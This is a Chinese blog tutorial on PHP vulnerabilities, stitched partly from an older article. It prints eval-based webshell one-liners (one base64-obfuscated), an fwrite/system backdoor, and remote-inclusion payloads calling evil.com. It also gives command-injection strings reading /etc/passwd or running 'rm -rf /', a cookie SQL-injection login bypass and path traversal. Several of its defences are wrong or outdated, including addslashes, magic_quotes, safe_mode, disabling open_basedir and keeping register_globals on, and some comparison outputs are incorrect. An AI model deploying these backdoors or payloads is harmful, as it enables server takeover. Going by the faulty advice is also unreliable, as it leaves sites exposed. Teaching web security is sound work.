小白也能看懂的PHP安全漏洞——重燃你的PHP安全之火

第一部分:PHP 语言介绍

1. 什么是 PHP?

PHP(全称:PHP: Hypertext Preprocessor,即“PHP:超文本预处理器”)是一种开源的、服务器端的、嵌入 HTML 的脚本语言。它主要用于 Web 开发,但也可以作为通用编程语言使用。

2. PHP 的核心特点

  • 服务器端执行:PHP 代码在服务器上运行,然后将生成的 HTML 结果发送到客户端浏览器。用户看不到背后的源代码,这与 JavaScript 不同。

  • 跨平台:可以在几乎所有主流的操作系统上运行,如 Windows、Linux、macOS,并与多种 Web 服务器(如 Apache、Nginx)和数据库(如 MySQL、PostgreSQL)无缝集成。

  • 语法简单易学:语法类似于 C、Java 和 Perl,对于有编程基础的开发者来说上手很快。它的弱类型系统也让初学者更容易上手。

  • 开源且免费:PHP 是开源的,拥有巨大的社区支持和丰富的文档、框架及开源项目。

  • 与数据库集成良好:原生支持与多种数据库的连接,尤其是 MySQL,使其成为构建动态网站的理想选择。

  • 强大的生态系统:拥有庞大的标准库和成熟的框架,如 Laravel、Symfony、CodeIgniter 等,以及包管理工具 Composer。

3. PHP 的基本语法示例

php

<!DOCTYPE html>
<html>
<body>

<h1>我的第一个 PHP 页面</h1>

<?php
// 这是一行 PHP 注释
echo "Hello World!"; // echo 是输出语句

// 变量以 $ 符号开头
$name = "张三";
$age = 25;

// 连接字符串使用 "."
echo "<p>你好,我是 " . $name . ", 我 " . $age . " 岁了。</p>";

// 与 HTML 混合嵌入
if ($age >= 18) {
    echo "<p>您已成年。</p>";
} else {
    echo "<p>您未成年。</p>";
}
?>

</body>
</html>

第二部分:PHP 常见漏洞

PHP 的易用性有时是以牺牲默认安全性为代价的。如果开发者安全意识不足,很容易写出存在严重漏洞的代码。以下是 PHP 中最常见和危险的一些安全漏洞。

1. SQL 注入

  • 描述:攻击者通过将恶意的 SQL 代码插入到 Web 表单提交或输入参数中,欺骗服务器执行非法的 SQL 命令。这可能导致数据库被窃取、篡改或删除。

  • 脆弱代码示例

    php
    
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
    // 如果用户输入 username 为 `admin' -- `,那么 SQL 就变成了:
    // SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'
    // `--` 是 SQL 注释,后面的条件被忽略,从而绕过了密码验证。

  • 防御措施

    • 使用预处理语句:这是最有效的方法。使用 PDO 或 MySQLi 扩展的预处理语句。

    php
    
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
    $stmt->execute(['username' => $username, 'password' => $password]);
    $user = $stmt->fetch();

2. 跨站脚本攻击

  • 描述:攻击者将恶意脚本(通常是 JavaScript)注入到网页中,当其他用户浏览该页面时,脚本会在他们的浏览器中执行。可用于盗取 Cookie、会话令牌或进行钓鱼攻击。

  • 脆弱代码示例

    php
    
    $search = $_GET['q'];
    echo "您搜索的关键词是: " . $search;
    // 如果用户访问:page.php?q=<script>alert('XSS')</script>
    // 那么脚本就会被执行。

  • 防御措施

    • 对输出进行转义:在将用户输入的内容输出到 HTML 页面前,使用 htmlspecialchars() 函数进行转义。

    php
    
    echo "您搜索的关键词是: " . htmlspecialchars($search, ENT_QUOTES, 'UTF-8');

3. 文件包含漏洞

  • 描述:攻击者利用动态文件包含功能(如 includerequire)来包含并执行服务器上的任意文件(本地文件包含 LFI)甚至远程文件(远程文件包含 RFI)。

  • 脆弱代码示例

    php
    
    $page = $_GET['page']; // 例如:?page=about.php
    include($page . '.php');
    // 如果攻击者输入:?page=http://evil.com/shell.txt
    // 并且 allow_url_include 为 On,则会包含远程的恶意脚本。
    // 或者输入:?page=../../../../etc/passwd 来读取系统文件。

  • 防御措施

    • 避免使用用户输入直接控制文件路径

    • 如果必须使用,应进行白名单验证。

    • 在 php.ini 中设置 allow_url_include = Off

4. 跨站请求伪造

  • 描述:攻击者诱使已登录的用户在不知情的情况下提交一个恶意请求。例如,让用户点击一个链接,这个链接会触发修改密码或转账的操作。

  • 脆弱代码示例

    php
    
    // 假设这是一个修改密码的代码,没有任何 CSRF 防护
    if ($_POST['new_password']) {
        $user->changePassword($_POST['new_password']);
        echo "密码修改成功!";
    }

  • 防御措施

    • 使用 CSRF Token:在表单中嵌入一个随机的、不可预测的 Token,并在处理请求时验证它。

    • 检查 Referer 头(辅助手段)。

5. 会话安全漏洞

  • 会话固定:攻击者强迫用户使用一个已知的会话 ID。

  • 会话劫持:攻击者窃取用户的会话 ID 来冒充用户。

  • 防御措施

    • 用户登录后重新生成会话 ID(session_regenerate_id(true))。

    • 使用 HTTPS 来传输 Cookie。

    • 对 Cookie 设置 HttpOnly 属性,防止被 JavaScript 读取。

6. 文件上传漏洞

  • 描述:如果服务器对上传的文件检查不严,攻击者可能上传一个恶意的 PHP 脚本(Webshell),从而完全控制服务器。

  • 防御措施

    • 将上传的文件存储在 Web 根目录之外。

    • 检查文件的 MIME 类型和后缀名。

    • 对上传的文件进行重命名。

    • 如果必须提供访问,应通过一个安全的脚本来代理,而不是直接访问。

7. 不安全的反序列化

  • 描述:PHP 的 unserialize() 函数如果作用于用户可控的输入,可能导致代码执行、路径遍历等严重后果,因为反序列化过程会自动调用对象的 __wakeup() 和 __destruct() 魔术方法。

  • 防御措施

    • 永远不要对不可信的输入进行反序列化

    • 使用安全的替代格式,如 JSON(json_decode)。

第三部分:PHP 安全细节

那些存在于 php 程序中的一些安全细节问题。

1、函数的过滤

有些函数在程序中是经常使用的,像 include(),require(),fopen(),fwrite(),readfile(),unlink(),eval()以及它们的变体函数等等。include(),require()和 fopen(),include_once(),require_once()这些都可以远程调用文件,对于它们的危害,google 搜一下你就会很明了,对于所包含调用的变量没过滤好,就可以任意包含文件从而去执行。

举个例子,看 print.php

以下为引用的内容:

...

if (empty ($bn) ) { //检查是变量$bn 是否为空

include ("$cfg_dir/site_${site}.php"); //把$cfg_dir 这个路径里的 site_${site}.php 包含进来

...

不管存不存在$cfg_dir 目录,$site 这个变量你可以很自然的去使用,因为他根本没检查$site变量啊。可以把变量$site 指定远程文件 http://evil.com/cmd.gif 去调用,也可以是本地的一个文件,你所指定的文件里写上 php 的语句,然后它就去包含执行这个含有 php 语句的文件了。

甚至可以扩展到包含一些管理员文件,提升权限,典型的像以前 phpwind,bo-blog 的漏洞一样。除了依靠 php.ini 里的 allow_url_fopen 设为 off 禁止远程使用文件和 open_base_dir 禁止使用目录以外的文件外,你还得事先声明好只能包含哪些文件,这里就不多说废话了。

2、泄露源代码

fopen(),file(),readfile(),openfile(),等也是该特别留意的地方。函数本身并没什么,它们的作用是去打开文件,可是如果对变量过滤不彻底的话,就会泄露源代码。这样的函数文本论坛里会有很多。

以下为引用的内容:

...

$articlearray=openfile("$dbpath/$fid/$tid.php"); //打开$dbpath/$fid 这个路径的$tid.php 文件

$topic_detail=explode("|",$articlearray[0]); //用分割符|读出帖子的内容

...

很眼熟吧,这是 ofstar 以前版本的 read.php,$fid 和$tid 没有任何过滤,$tid 指定为某个文件提交,就发生了原代码泄露。

http://explame.com/ofstar/read.php?fid=123&tid=../indexhttp://explame.com/ofstar/read.php?fid=123&tid=../index

$tid 会被加上 php 的后缀,所以直接写 index。这仅仅是个例子,接着看吧。

3、PHP后门

fwrite()和它的变体函数这种漏洞想想都想得出,对于用户提交的字符没过滤的话,写入一段 php 后门又不是不可以。

<?php
// 简单的 fwrite() 后门示例
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $file = '/tmp/shell.php';
    $content = "<?php system('$cmd'); ?>";
    
    $fp = fopen($file, 'w');
    fwrite($fp, $content);
    fclose($fp);
    
    include($file);
}
?>

4、任意删除文件

unlink()函数,前段时间,phpwind 里任意删除文件就是利用这个函数,对于判断是否删除的变量没过滤,变量可以指定为任意文件,当然就可以删除任意文件的变量。

<?php
// 从用户输入获取要删除的文件名
$filename = $_GET['file']; // 用户可控的输入

// 直接使用用户输入进行删除操作
if (unlink($filename)) {
    echo "文件删除成功";
} else {
    echo "文件删除失败";
}
?>

5、一句话 php 木马

eval(),preg_replace()函数,它们的作用是执行 php 代码,如果字符串没被经过任何过滤的话,会发生什么呢,我就常看见一些 cms 里面使用,想想,一句话的 php 木马不就是根据eval()原理制作的吗?

<?php
// 简单的 eval 后门
if (isset($_GET['cmd'])) {
    eval($_GET['cmd']);
}

// 更隐蔽的后门
if (isset($_POST['data'])) {
    $data = base64_decode($_POST['data']);
    eval($data);
}

// 隐藏在正常功能中的后门
function calculate($formula) {
    // 本应用来计算数学表达式,但被滥用
    return eval("return $formula;");
}

// 攻击者可以这样利用:
// http://example.com/?cmd=system('rm -rf /');
// http://example.com/?cmd=phpinfo();
?>
<?php
// 简单的字符串替换
$text = "Hello World";
$result = preg_replace("/World/", "PHP", $text);
echo $result; // 输出:Hello PHP

// 使用模式修饰符
$html = "<div>Test</div>";
$clean = preg_replace("/<.*?>/", "", $html);
echo $clean; // 输出:Test
?>

一句话木马

<?php
class Test {
    public function __construct($code) {
        $this->code = $code;
    }
    
    public function execute() {
        eval($this->code);
    }
}

if (isset($_POST['c'])) {
    $test = new Test($_POST['c']);
    $test->execute();
}
?>

6、调用攻击

对于 system()这些系统函数,你会说在 php.ini 里禁止系统函数,对,这也是好办法,可是象一些程序里需要,那是不是就不用了呢?就像上次我看到的一套很漂亮的 php 相册一样。另外对于popen(),proc_open(),proc_close()函数你也得特别注意,尽管他们执行命令后并没有直接的输出,但你想这到底对黑客们有没有用呢。再这里 php 提供提供了两个函数,escapeshellarg(),escapeshellcmd(),这两个函数用来对抗系统函数的调用攻击,也就是过滤。

<?php
$input = "hello'; echo 'hacked";
$safe = escapeshellarg($input);
echo $safe; // 输出:'hello'\''; echo '\''hacked'

// 实际使用:
system("ls -la " . escapeshellarg($input));
// 执行命令:ls -la 'hello'\''; echo '\''hacked'
// 这样就不会执行额外的命令
?>

对于危害,来举个例子,我们来看某论坛 prod.php

以下为引用的内容:

07 $doubleApp = isset($argv[1]); //初始化变量$doubleApp

...

14 if( $doubleApp ) //if 语句

15 {

16 $appDir = $argv[1]; //初始化$appDir

17 system("mkdir $prodDir/$appDir"); //使用系统函数 system 来创建目录$prodDir/$appDir

本来是拿来创建$prodDir/$appDir 目录的,再接着看上去,程序仅仅检测是否存在$argv[1],缺少对$argv[1]的必要过滤,那么你就可以这样/prod.php?argv[1]=|ls%20-la 或者/prod.php?argv[1]=|cat%20/etc/passwd(分割符 | 在这里是UNIX 的管道参数,可以执行多条命令。)

到这里,常见的漏洞类型应该知道点了吧。

第三部分:PHP 漏洞挖掘

对于特殊字符,有句话叫 All puts is invalid.外国人文章里这句话很常见的。所有输入都是有害的。你永远不要对用户所输入的东西省心,为了对付这些危害,程序员都在忙着过滤大把大把的字符,唯恐漏了什么。而有些程序员呢?好像从没注意过这些问题,从来都是敞开漏洞大门的。不说废话,还是先看看下面这些东西吧。

1、特殊字符漏洞

其实程序的漏洞里最关键,最让开发者放心不下的就是带着$符号的美元符号,变量,对于找漏洞的人来说,抓着变量两个字就是一切。就像目录遍历这个 bug,很多邮件程序都存在,开发者考虑的很周全,有的甚至加上了网络硬盘这个东西,好是好,就像 http://mail.com/file.php?id=1&put=list&tid=1&file=./,要是我们把 file 这个变量换成./../甚至更上层呢?目录就这样被遍历了。

<?php
// 简单的模板系统(存在漏洞)
function render_template($template, $data) {
    foreach ($data as $key => $value) {
        $$key = $value; // 导入数据到当前符号表
    }
    
    include $template;
}

// 攻击者可以覆盖系统变量
$malicious_data = [
    'title' => '正常标题',
    '_SERVER' => ['HTTP_HOST' => 'hacked'],
    'GLOBALS' => '...'
];

render_template('view.php', $malicious_data);
?>

尖括号"<>"跨站你不会不知道吧,一些搜索栏里,文章,留言,phpwind 附件那里的跨站等等。当然,对于跨站问题,你要过滤的远远不止尖括号。不怕过滤时漏掉什么,而是怕你想不起要去过滤。

<?php
// 危险的松散比较
$input = $_GET['id']; // 用户输入:0

if ($input <> "") {
    // 用户认为这里会执行,但实际上:
    // 0 <> ""  => false
    // 因为 PHP 将空字符串转换为 0,0 <> 0 为 false
    echo "ID 不能为空";
} else {
    echo "ID 为空"; // 这里会执行!
}

// 更多危险的松散比较:
var_dump(0 <> "0");       // false
var_dump(0 <> "abc");     // false (字符串 "abc" 转换为 0)
var_dump(null <> "");     // false
var_dump(false <> "");    // false
var_dump("123abc" <> 123); // false
?>

斜杆和反斜杆:对于/和\的过滤,记得魔力论坛的附件下载处的原代码泄露吗?

attachment.php?id=684&u=3096&extension=gif&attach=.\..\..\..\..\..\..\includes\config.php&filena

me=1.gif

预期路径:attachments/3096/某个文件
实际路径:attachments/3096/.\..\..\..\..\..\..\includes\config.php
最终解析:/var/www/html/includes/config.php

<?php
// attachment.php - 存在漏洞的代码
$id = $_GET['id'];
$u = $_GET['u'];
$extension = $_GET['extension'];
$attach = $_GET['attach'];  // 用户可控,未过滤
$filename = $_GET['filename'];

// 危险的文件包含或读取操作
$file_path = "attachments/$u/$attach";

// 或者可能是这样的逻辑
if (file_exists($file_path)) {
    // 读取文件并输出
    header("Content-Type: image/$extension");
    header("Content-Disposition: attachment; filename=\"$filename\"");
    readfile($file_path);
}
?>

对于过滤.. / \的问题,像 windows 主机不仅要过滤../还要过滤..\,windows 主机对\会解析为/,这些细节跟 SQL injection 比起来,什么才叫深入呢?

对于反引号(``),反引号在 php 中很强大,它可以执行系统命令,就像 system()这些系统函数一样,如果用户的恶意语句被它所执行的话就会危害服务器,我想除了服务器设置的很好以外,对于它们,你还是老老实实的过滤好吧。

<?php
// 系统信息查询功能
$command = $_GET['cmd']; // 用户输入
switch ($command) {
    case 'disk':
        $output = `df -h`;
        break;
    case 'memory':
        $output = `free -m`;
        break;
    default:
        $output = `$command`; // 危险!
}
echo "<pre>$output</pre>";

// 攻击:cmd=id; cat /etc/passwd
?>

对于换行符,NULL 字符等等,像"\t,\x0B,\n,\r,\0 这些,这些都是很有用的,像动网以前的上传漏洞就是因为上传中的 NULL(\0)字符引起的,对于这些能随意截断程序流程的字符,你说我们在检测的时候应该有多细心呢?

分号截断程序流程,hell_exec("del ./yourpath/$file"); //使用系统函数 shell_exec 删除文件$file变量$file 没指定,那么直接写 zizzy.php;del ./yourpath ,这样你的 yourpath 目录也就被 del 了。

分割符(|)是 UNIX 里自带的管道函数,可以连接几条命令来执行。有时候加在过滤不严的系统函数中执行。

2、逻辑错误漏洞

验证不完全和一些逻辑错误在程序里也很容易找到,特别是现在的程序员,只顾深入的学习,而对于逻辑错误等等这样的安全意识都没有培养的意识,其实这是是靠自己去培养,而不是等着人来报告 bug 给你。对于逻辑错误的判断,我们只能说,多练练吧,经验才是最重要的。

对于登陆验证的问题。举个例子:我们看某论坛的 admin.php 片断

它这里 username 和 password 好像不对劲吧,存在管理员的 username 和 password 就直接通过验证,那就意味着没有用户名,没密码也行吧。

我们提交以下为引用的内

GET /bbs/admin/index.php?page=general HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*

Accept-Language: zh-cn

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)

Host: 127.0.0.1

Connection: Keep-Alive

Cookie: username='or isnull(1/0) AND level=3/*; password=;

这是我们伪造的一个数据包(你问我咋伪造地?抓包再修改呗),我们使用 GET 来提交数据,原理也就是在 cookie 这里构造欺骗语句。

接着,整个 SQL 语句就成这样

Select * FROM users Where username=''or isnull(1/0) AND level=3/*' AND password=''

这里仅仅用一个'or'='or'的原理,就把 username 和 password 的检测给绕开了,而 level=3 则

是伪造的等级。从而就饶过了检测,进入了管理后台。

对于后台的验证不能这么马虎,两行代码就算完事,你还得从 SESSION(会话),Cookie 这些

地方来增强验证。

3、上传文件漏洞

 config.php 里对上传文件类型限制是这样的

$IllegalExtentions =

array('exe','asp','php','php3','bat','cgi','pl','com','vbs','reg','pcd','pif','scr','bas','inf','vb','vbe','wsc','wsf',

'wsh'); //

对 于 上 传 文 件 的 限 制 , 只 允 许 上 传exe,asp,php,php3,bat,cgi,pl,com,vbs,reg,pcd,pif,scr,bas,inf,vb,vbe,wsc,wsf,ws'这些文件。

规定不许用户上传什么什么文件,其它都可以上传,这种逻辑好不好呢?如果我上

传.inc, ,.php4 .phtml, .html, .pwml 这样的类型呢?为什么你不把这种逻辑思维改为规定用户除了这几种文件能传,其它的统统不允许上传。就像这样,数组改成逆向的思维。

$IllegalExtentions = array('rar','gif','jpg','bmp','pdf')//只能上传 rar,gif,jpg,bmp,pdf 几种格式

其实这个跟你们上传 cer,asa 是一个道理。

4、典型的逻辑错误

在一些 cms(整站程序)中随便注册个用户,你会发现修改资料的地方不要求输入原来的密码,只通过判断用户 id 或者 email,你把网页保存到本地,把 id 或 email 改成管理员的,action改为修改提交地址,提交你就成了管理员。解决办法不太难,只要我们增加密码验证,增强那个 mysql 的 update 语句的过滤也就 ok 了。

这些我们也没办法,多数程序员对于安全根本不去在意,本来一个人可以去做的事,为什么偏偏要分出搞 web 安全的和 web 开发两种人呢?

5、长度问题

别以为找漏洞的就是为了拿个管理员密码或者 webshell, 也有些不安分的人,也就是DDOSer(拒绝服务攻击者),他们的花样很多,但对于程序员来说,关键就在过滤。我所说的长度问题,不仅仅是个字符的长度,也包括时间的长度,你一定见过有人写个脚本,一下就注册成千上万的用户,或者纯粹的写垃圾数据把数据库拖死。这个时候,限制数据提交时间和验证码就起作用了。不过要真的遇到狠毒的人,一个变量的过滤问题就可以把网站搞瘫痪,这比用什么网络僵尸那些软件来得更快。

第四部分:不大不小的问题

1、绝对路径的泄露

这个问题可真是不大不小,很多程序都有,这也算安全的一部分。至少你玩注入 loadfile()需要吧。当然,这时的 php.ini 中的 display_errors 也可以起作用了。

2、对后台的验证

不要说不信,我就曾看到一些程序这样,你去测试,注册个用户,提交管理员编辑用户的URL, 比 如 admin_member.php?action=edit&id=55&level=4&username=zizzy& amp;power=1这样相应的添加管理员的 URL,你会发现几乎没验证,直接成功了。所以,对于后台的检测,也很有必要,就像老版本的Discuz 的那个漏洞。

过滤问题不知不觉就说了那么多,写了好多处该过滤的提醒,现在也该说说了如何进行过滤。

1、在用户输入任何数据,也就是提交变量进数据库时,我们必须使用 addslashes()进行过滤,

像我们的注入问题,一个 addslashes()也就搞定了。其实在涉及到变量取值时,intval()函数

对字符串的过滤也是个不错的选择。

2、在 php.ini 中开启 magic_quotes_gpc 和 magic_quotes_runtime。magic_quotes_gpc 可以把

get,post,cookie 里的引号变为斜杠 magic_quotes_runtime 对于进出数据库的数据可以起到格

式话的作用。其实,早在以前注入很疯狂时,这个参数就很流行了。

3、在使用系统函数时,必须使用 escapeshellarg(),escapeshellcmd()参数去过滤,这样你也就

可以放心的使用系统函数。

4、对于跨站,strip_tags(),htmlspecialchars()两个参数都不错,对于用户提交的的带有 html

和 php 的标记都将进行转换。比如尖括号"<"就将转化为 "<"这样无害的字符。

5、对于相关函数的过滤,就像先前的 include(),unlink,fopen()等等,只要你把你所要执行操

作的变量指定好或者对相关字符过滤严密,我想这样也就无懈可击了。

3、服务器安全设置

谈服务器安全设置,我觉得很不实际的,我们大多数人都用虚拟主机,对于 php.ini 怎么设,那个只有网管自己看着办了。不过我还是说下,

1、设置"safe_mode"为"on"

这对于广大空间商来说是一个伟大的选项,它能极大地改进 PHP 的安全性。

2、禁止"open_basedir" ,这个选项可以禁止指定目录之外的文件操作,还能有效地消除本地文件或者是远程文件被 include()等函数的调用攻击。

3、expose_php 设为 off ,这样 php 不会在 http 文件头中泄露信息。

4、设置"allow_url_fopen"为"off" 这个选项可以禁止远程文件功能,极力推荐

5、"log_errors"为"on" 错误日至得带上吧

6、对于"display_errors,register_globals"两项要视情况而定了,display_errors 太消极了,错误全关,想调试脚本都不行。至于 register_globals(全局变量)把它开起来,关了会很麻烦,现在大多数程序没它支持就别想用了。

第五部分:总结

PHP 是一门强大而灵活的 Web 开发语言,但其安全状况在很大程度上取决于开发者的实践。现代 PHP 框架(如 Laravel、Symfony)已经内置了许多安全机制,能帮助开发者避免上述大部分漏洞。

对于 php 程序安全也有了初步的探索。为广大读者朋友考虑,举的例子也算是很容易去理解地,当然前提是你得会点 php,要不然又是看天书了(哇,不要看到这里才问我啥是 php?)。整篇文章并不是黑客教学,而是为那些想在 php 安全上发展的初学者和 php 程序员写的。如果以后你又听到谁谁又发现什么漏洞了,再怎么变也就是那些基本的东西而已。我希望本文能为你们开阔下思路,更好的发展下去。

安全开发的核心原则是:

  1. 永远不要信任用户输入:对所有输入进行验证和过滤。

  2. 对输出进行转义:根据输出的上下文(HTML、SQL、JS)进行相应的转义。

  3. 最小权限原则:数据库连接、文件系统操作等都应使用尽可能低的权限。

  4. 保持更新:及时更新 PHP 本身及其使用的库和框架,以修复已知的安全漏洞。

通过遵循这些原则和最佳实践,可以极大地提高 PHP 应用程序的安全性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

zhengfei611

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值